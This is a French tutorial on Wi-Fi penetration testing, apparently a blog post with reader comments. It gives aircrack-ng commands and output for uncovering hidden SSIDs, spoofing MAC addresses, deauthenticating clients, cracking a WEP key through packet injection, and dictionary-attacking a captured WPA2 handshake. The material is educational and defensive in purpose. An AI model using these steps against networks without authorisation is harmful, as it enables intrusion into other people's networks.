Dans cet article nous allons voir ensemble comme effectuer un Pen Test sur un réseau Wifi.
Nous verrons comment découvrir un réseau dont le SSID est masqué. Nous verrons aussi comment outrepasser un filtrage par adresse MAC.
Mais surtout, nous verrons comment infiltrer un réseau protégé par WEP.
Nous aborderons aussi la question du WPA.
1) Introduction
Cet article a pour but de mettre à l’épreuve les sécurités d’un réseau Wifi.
Il est bien sûr interdit de réaliser un Pen Test sur le réseau d’une personne n’ayant pas donné son accord.
Les manipulations suivantes seront réalisées sous Kali.
Néanmoins, les outils nécessaires sont disponibles sous d’autres distributions Linux, et sous Windows.
2) Préparation de la carte Wifi
La première étape consiste à préparer la carte sans fil.
Pour réaliser un Pen Test, il est important que la carte puisse être placée en mode Monitoring.
Cela va permettre de capturer tout le trafic qui circule, même celui qui ne vous est pas destiné.
Pour faciliter l’intrusion dans un réseau WEP, il faut que la carte puisse faire de l’injection de paquets.
Certaines cartes le permettent, d’autres non.
Dans certains cas il peut être nécessaire de mettre à jour le pilote de la carte.
Une recherche sur internet devrait vous aider.
Bien, préparons la carte.
Premièrement, lister les cartes Wifi disponibles.
root@kali:~# airmon-ng
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
La carte Wifi que nous allons utiliser est la wlan0.
Pour réaliser un Pen Test, il peut être bon de changer l’adresse Mac de sa carte.
Pour cela, commencer par désactiver la carte.
root@kali:~# ifconfig wlan0 down
Ensuite, entrer la commande suivante :
root@kali:~# macchanger -r wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
New MAC: 1a:a1:42:1b:ef:ad (unknown)
L’adresse Mac a été changée, et la précédente est gardée en mémoire.
Pour restaurer l’ancienne adresse Mac, la commande est la suivante :
root@kali:~# macchanger -p wlan0
Vous pouvez maintenant activer la carte.
root@kali:~# ifconfig wlan0 up
Vous pouvez constater le changement comme ceci :
root@kali:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1a:a1:42:1b:ef:ad
Il faut à présent activer le monitoring sur cette carte.
root@kali:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
Nous avons à présent deux cartes :
root@kali:~# airmon-ng
Interface Chipset Driver
mon0 Broadcom b43 - [phy0]
wlan0 Broadcom b43 - [phy0]
La mon0 est celle qui sert au monitoring.
Vous pouvez à présent lancer un scan des réseaux à porté.
root@kali:~# airodump-ng mon0
CH 2 ][ Elapsed: 8 s ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -19 27 0 0 11 54e. WEP WEP NetworkLab
XX:XX:XX:XX:X7:46 -47 10 0 0 13 54e WPA2 CCMP orange
XX:XX:XX:XX:XD:0D -56 10 0 0 13 54e. WPA2 CCMP Livebox
XX:XX:XX:XX:X0:D9 -71 19 0 0 6 54e. WPA2 CCMP Livebox
3) Découvrir un SSID masqué
Lors-ce qu’un SSID est masqué, le réseau apparait comme ceci dans la liste :
root@kali:~# airodump-ng mon0
CH 11 ][ Elapsed: 8 s ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -18 34 0 0 11 54e. WEP WEP <length: 1>
Mais après quelques temps, lors ce qu’un utilisateur va envoyer un probe, le réseau va apparaitre :
root@kali:~# airodump-ng mon0
CH 11 ][ Elapsed: 16 s ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -19 345 0 0 11 54e. WEP WEP NetworkLab
BSSID STATION PWR Rate Lost Frames Probe
XX:XX:XX:XX:X1:F0 XX:XX:XX:XX:X2:59 -28 0 - 1 0 185 NetworkLab
S’il y a déjà des clients connectés sur cet AP, vous pouvez en déconnecter un pour le forcer à se reconnecter, et à envoyer une Probe Request.
Exemple pour l’utilisateur précédent :
root@kali:~# aireplay-ng -0 1 -a XX:XX:XX:XX:X1:F0 -c XX:XX:XX:XX:X2:59 --ignore-negative-one mon0
Voici le détail des options :
- 0 permet d’envoyer un message de désauthentification
- 1 correspond au nombre de message de deauth. à envoyer. L’option 0 permet d’en envoyer en continu
- a permet d’indiquer l’adresse Mac de l’AP
- c permet d’indiquer l’adresse Mac du client
- ignore-negative-one est utile si la commande vous retourne une erreur relative au channel (ce qui est mon cas)
4) Contourner un filtrage par adresse Mac
Si vous connaissez la clé d’accès au réseau, mais que l’AP opère un filtrage par adresse MAC, il est facile de passer outre.
La méthode est simple : usurper l’adresse MAC d’une machine légitime.
Commençons donc par lister les machines connectées au réseau.
root@kali:~# airodump-ng -c 11 -a --bssid 00:17:DF:7D:01:F0 mon0
CH 11 ][ Elapsed: 52 s ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -9 6 501 141 11 11 54e. WEP WEP NetworkLab
BSSID STATION PWR Rate Lost Frames Probe
XX:XX:XX:XX:X1:F0 XX:XX:XX:XX:X2:59 -28 54e-48e 0 84
Nous allons donc usurper l’adresse du client XX:XX:XX:XX:X2:59
Avant de faire le changement désactiver le monitoring
root@kali:~# airmon-ng stop wlan0
Puis procéder au changement
A présent, vous pouvez accéder au réseau.
Attention tout de même, si deux machines possèdent la même adresse Mac, cela peut causer des problèmes.
Néanmoins, cela devrait être suffisant pour accéder au réseau.
root@kali:~# ifconfig wlan0 down
root@kali:~# macchanger -m D8:B3:77:CF:A2:59 wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
New MAC: XX:XX:XX:XX:X2:59 (unknown)
root@kali:~# ifconfig wlan0 up
N’oubliez pas de rechanger votre adresse Mac une fois terminé.
root@kali:~# macchanger –r wlan0
Permanent MAC: XX:XX:XX:XX:X2:a5 (Hon Hai Precision Ind. Co.,ltd.)
Current MAC: XX:XX:XX:XX:X2:59 (unknown)
New MAC: d6:6e:63:cc:b0:67 (unknown)
5) WEP Pen Test
Passons à présent aux choses sérieuses.
Voyons comment infiltrer un réseau protégé par WEP.
Commençons par activer le monitoring et lister les réseaux disponibles.
root@kali:~# airmon-ng start wlan0
wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)
root@kali:~# airodump-ng mon0
CH 4 ][ Elapsed: 4 s ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -21 23 0 0 11 54e. WEP WEP NetworkLab
XX:XX:XX:XX:X7:46 -33 12 0 0 13 54e WPA2 CCMP PSK Livebox
XX:XX:XX:XX:XD:0D -54 8 31 0 13 54e. WPA2 CCMP PSK Livebox
Nous constatons qu’il y a un réseau protégé par WEP.
Nous allons donc commencer la capture de trafic.
root@kali:~# airodump-ng --write cap-NetworkLab --channel 11 --bssid XX:XX:XX:XX:X1:F0 mon0
CH 11 ][ Elapsed: 40 s ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -12 96 389 110 0 11 54e. WEP WEP NetworkLab
Voici le détail des options :
- wite : fichier dans lequel enregistrer le trafic
- channel : permet de spécifier le channel sur lequel émet l’AP
- bssid : adresse Mac de l’AP
La capture de trafic est lancée. Ce dernier sera enregistré dans un fichier.
Si ne réseau n’est pas très chargé, la collecte de données peut prendre très longtemps.
La quantité de données capturées est indiqué dans la colonne #Data.
Pour une clé de 40 bits, il faudrait atteindre environs 4000 avant de lancer l’attaque.
Vous avez donc le choix entre attendre que la quantité de frames capturées monte, ou bien faire de l’injection.
Dans une autre console, testons l’injection.
root@kali:~# aireplay-ng -9 mon0
Trying broadcast probe requests...
Injection is working!
Si l’injection fonctionne, vous pouvez passer à la suite.
Si l’injection n’est pas possible, il s’agit peut-être simplement d’un problème de driver.
Ou bien votre carte réseau ne supporte pas l’injection.
Il faut ensuite s’associer avec l’AP.
root@kali:~# aireplay-ng -1 0 -e NetworkLab -a XX:XX:XX:XX:X1:F0 --ignore-negative-one mon0
No source MAC (-h) specified. Using the device MAC (XX:XX:XX:XX:X2:A5)
Waiting for beacon frame (BSSID: XX:XX:XX:XX:X1:F0) on channel -1
Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)
Voici le détail des options :
- 1 permet l’authentification
- 0 indique le nombre de secondes avant de relancer l’authentification
- e permet de spécifier le SSID
- a permet de spécifier l’adresse Mac de l’AP
- ignore-negative-one est nécessaire si la commande retourne une erreur par rapport au channel.
Une fois l’association faite, il est possible de lancer l’injection.
root@kali:~# aireplay-ng -3 -e NetworkLab -b XX:XX:XX:XX:X1:F0 --ignore-negative-one mon0
Il est possible que l’injection prenne du temps pour se lancer (le temps de capturer une requête ARP).
De retour dans la fenêtre de capture de données, vous pourrez voire que les données capturées augmentent très rapidement.
En un peu plus de 2 mins, voici le résultat :
CH 11 ][ Elapsed: 2 mins ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID XX:XX:XX:XX:X1:F0 -14 85 1369 38981 306 11 54e. WEP WEP OPN NetworkLab
Pour une clé de 40 bits, il y a bien assez de données capturées.
Il ne reste plus qu’à découvrir la clé.
root@kali:~# aircrack-ng cap-NetworkLab-01.cap
Read 205401 packets.
# BSSID ESSID Encryption
1 XX:XX:XX:XX:X1:F0 NetworkLab WEP (39043 IVs)
Choosing first network as target.
Opening cap-NetworkLab-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 39043 ivs.
KEY FOUND! [ 01:23:45:67:89 ]
Decrypted correctly: 100%
La clé a bien été découverte : 0123456789.
Si la quantité de données n’est pas suffisante, le processus va se relancer tous les 5000 IVs.
Quand la clé est découverte, vous pouvez stopper la capture et l’injection de données.
Voici donc comment découvrir une clé WEP.
Après cette démonstration, il parait claire que le WEP est très loin d’être fiable !
6) WPA / WPA 2 Pen Test
Voyons à présent comment infiltrer un réseau WPA.
Comme vous le savez, il n’existe pas d’attaque miracle.
Nous allons procéder à une attaque par brut force.
Le but est de capturer le Handshake entre un client et l’AP, et de tenter de le déchiffrer.
Pour cela il faudra essayer avec des milliers de clés.
Commençons donc par identifier le réseau voulu.
root@kali:~# airodump-ng mon0
CH 13 ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:X1:F0 -33 93 7 0 11 54e. WPA2 CCMP PSK NetworkLab
BSSID STATION PWR Rate Lost Frames Probe
XX:XX:XX:XX:X1:F0 XX:XX:XX:XX:X2:59 -18 0 -54 50 20 NetworkLab
Ensuite, il faut lancer la capture de données.
root@kali:~# airodump-ng --write cap-NetworkLab --channel 11 --bssid XX:XX:XX:XX:X1:F0 mon0
A présent, il nous faut désauthentifier l’un des clients.
root@kali:~# aireplay-ng -0 1 -a XX:XX:XX:XX:X1:F0 -c XX:XX:XX:XX:X2:59 mon0 --ignore-negative-one
Voici le détail des options :
- 0 permet d’envoyer un message de désauthentification
- 1 correspond au nombre de messages de deauth. à envoyer. L’option 0 permet d’en envoyer en continu
- a permet d’indiquer l’adresse Mac de l’AP
- c permet d’indiquer l’adresse Mac du client
- ignore-negative-one est utile si la commande vous retourne une erreur relative au channel (ce qui est mon cas)
La capture de donnée devrait indiquer qu’un Handshake a été capturé.
Il est possible que le message ne reste pas affiché.
CH 11 ][ Elapsed: 16 s][ WPA handshake: XX:XX:XX:XX:X2:59 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID XX:XX:XX:XX:X1:F0 -29 100 456 6 1 11 54e. WPA2 CCMP PSK NetworkLab BSSID STATION PWR Rate Lost Frames Probe XX:XX:XX:XX:X1:F0 XX:XX:XX:XX:X2:59 -10 0 -36 34 2
A présent, il ne nous reste plus qu’à lancer l’attaque par brut force.
Pour cela, il nous faut un dictionnaire contenant des mots de passe.
Pour le dictionnaire, vous pouvez utiliser un fichier de liste, ou bien un fichier TXT, etc…
Ce fichier doit contenir une liste de mot. Vous trouverez des dictionnaires en ligne.
root@kali:~# aircrack-ng -w password.txt cap-NetworkLab-02.cap
Aircrack-ng 1.2 beta2
[00:01:46] 147215 keys tested (1405.54 k/s)
KEY FOUND! [ NLabPassword ]
Au final, l’attaque par dictionnaire ne fonctionne que si le mot de passe est dans le dictionnaire.
C’est pourquoi il est important de choisir un mot de passe fort.
A l’aide d’un mot de passe fort, le WPA reste très sécurisé.
Merci beaucoup
merci bcp!!!!
Bonjour,
je suis intéressé a tester mon reseau wifi mais je vous savoir sur windows 7 quel est l’équivalent de kali.
Merci et bien àvous!
Bonjour,
Je crois que le même outil est disponible sous Windows.
Bonjour s’il vous plaît comment procéder au contournement MAC sous windows. Merci
Bonjour,
Vous trouverez sur internet des logiciels pour changer la MAC de la carte réseau. Je n’en ai pas utilisé depuis longtemps, donc je ne sais pas lequel vous conseiller.